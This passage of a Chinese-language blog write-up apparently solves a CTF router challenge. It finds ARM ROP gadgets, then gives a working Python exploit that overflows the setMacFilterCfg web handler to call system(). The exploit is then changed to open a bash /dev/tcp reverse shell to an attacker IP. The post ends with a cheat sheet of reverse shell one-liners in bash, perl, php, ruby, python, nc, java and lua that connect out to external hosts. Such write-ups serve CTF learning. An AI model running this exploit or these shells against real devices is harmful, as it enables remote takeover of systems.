┌[logan☮arch]-(~/share/nu1l/babyroute)
└> ROPgadget --binary docker/pwn/lib/libc.so.0 --only "pop" | grep r3
...
0x00018298 : pop {r3, pc}
...

gadget2

1
2
3
4
5
┌[logan☮arch]-(~/share/nu1l/babyroute)
└> ROPgadget --binary ./docker/pwn/lib/libc.so.0 | grep "mov r0, sp ; blx r3"
...
0x00040cb8 : mov r0, sp ; blx r3
...

payload结构为[offset, gadget1, system_addr, gadget2, cmd]

先将system函数地址储存在r3寄存器中,执行到gadget2将sp的值赋给r0,也就是将sp作为system的参数,而这时sp指向的是cmd。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#! /usr/bin/python3
import requests
from pwn import *

url = "http://10.10.10.10/goform/setMacFilterCfg"
c = {"Cookie":"password=0"}
libc_base = 0xf659b000
system = libc_base + 0x0005a270
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8
cmd = b'touch test\x00'

p = b'A' * 0xA8
p += b'DDDD'
p += b'EEEE'
p += p32(gadget1)
p += p32(system)
p += p32(gadget2)
p += cmd

d = {"macFilterType": "black", "deviceList": '\r'+ p}
r = requests.post(url, cookies = c, data = d)

print(r.text)

修改url 为docker所转发的端口,现在试试在docker上是否已经创建test文件

1
2
3
root@a52d03d064d3:/# ls
bin dev flag lib media opt pwn run srv sys tmp var
boot etc home lib64 mnt proc root sbin start.sh test usr

可以看到已经创建了test文件。

那么如何实现交互呢?就采用bash下来反弹sehll 吧。

先在自己的服务器上使用nc来监听。

1
nc -lvnp 4444

在poc中的命令填写为

1
bash -i >& /dev/tcp/192.168.43.13/4444 0>&1

192.168.43.13是我物理机的ip,4444是我nc监听的端口。

现在poc为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#! /usr/bin/python3
import requests
from pwn import *

url = "http://127.0.0.1:2333/goform/setMacFilterCfg"
c = {"Cookie":"password=0"}
libc_base = 0xf659b000
system = libc_base + 0x0005a270
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8
cmd = b'bash -i >& /dev/tcp/192.168.43.13/4444 0>&1'

p = b'A' * 0xA8
p += b'DDDD'
p += b'EEEE'
p += p32(gadget1)
p += p32(system)
p += p32(gadget2)
p += cmd

d = {"macFilterType": "black", "deviceList": '\r'+ p}
r = requests.post(url, cookies = c, data = d)

print(r.text)

反弹shell大全

在服务器上开启监听:

1
2
nc -lvnp 4444
nc -vvlp 4444

目标机器开启反弹

bash版本:

1
bash -i >& /dev/tcp/your_server_ip/port 0>&1

perl版本:

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

1
2
3
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本:

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e参数:

1
2
3
4
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc x.x.x.x 4444 1>/tmp/backpipe
/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

参考:

https://www.anquanke.com/post/id/204403

https://www.jb51.net/article/118423.htm

打赏点小钱
支付宝 | Alipay
微信 | WeChat